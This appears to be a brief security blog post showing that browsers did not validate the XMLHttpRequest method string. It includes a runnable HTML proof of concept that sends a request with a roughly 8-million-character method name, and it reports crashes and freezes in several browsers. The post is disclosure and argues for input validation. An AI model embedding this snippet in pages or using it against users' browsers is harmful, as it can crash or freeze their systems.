Intro
The JavaScript XHR API allows the developer to chose the used request method - and surprisingly most user agents don not validate this value before actually firing the request. This leads to certain interesting problems - like the following code shows.
Code
Here we chose a very long string consisting of $ signs - string length should be around 8 million characters.
<html>
<head>
<body>
<script>
var x = new XMLHttpRequest();
var m = '$$';
for(var i=0; i <= 21; i++) {
m += m;
}
x.open(m, '404.html', false);
x.send(null);
</script>
</body>
</html>
Conclusion
The result of the above code being executed is surprising. The latest Chrome release for example crashes in terror producing pop ups all over the screen. Firefox most times freezes the whole system for a long time - but no real crashes yet. Safari just dies silently and Opera isn't impressed at all. IE7 and 8 throw an error message about an invalid argument - indicating a working white-list too.
These examples again show why validation is important for all values being editable by the user, developer or attacker. The Chrome issue has by the way been reported several weeks ago.
Posts
No comments:
Post a Comment